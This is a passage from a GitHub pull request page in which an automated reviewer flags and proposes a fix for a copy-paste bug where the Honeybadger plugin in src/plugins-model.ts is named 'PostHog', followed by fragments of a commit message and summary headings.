| id: 'honeybadger', |
There was a problem hiding this comment.
Copy-paste bug: Honeybadger plugin has name: 'PostHog'.
The honeybadger plugin definition incorrectly uses name: 'PostHog' instead of name: 'Honeybadger'. This will display the wrong name in CLI prompts and listings.
🐛 Proposed fix
honeybadger: {
- name: 'PostHog',
+ name: 'Honeybadger',
id: 'honeybadger',
description: 'Add Honeybadger Error Tracking to your site.',📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| honeybadger: { | |
| name: 'PostHog', | |
| id: 'honeybadger', | |
| honeybadger: { | |
| name: 'Honeybadger', | |
| id: 'honeybadger', |
🤖 Prompt for AI Agents
In `@src/plugins-model.ts` around lines 111 - 113, The honeybadger plugin object
has a copy-paste bug where the property name is set to 'PostHog' instead of the
correct display name; update the honeybadger plugin definition (the object keyed
by 'honeybadger' in src/plugins-model.ts) so its name property is 'Honeybadger'
to ensure CLI prompts and listings show the correct plugin name.
…tecture, introducing multiple new commands for plugin management and enhancing the overall installation process. Added Next.js Drizzle and Prisma kits, removed deprecated commands, and implemented improved caching and authentication mechanisms.
1 participant
Summary by CodeRabbit
New Features
Removed
Documentation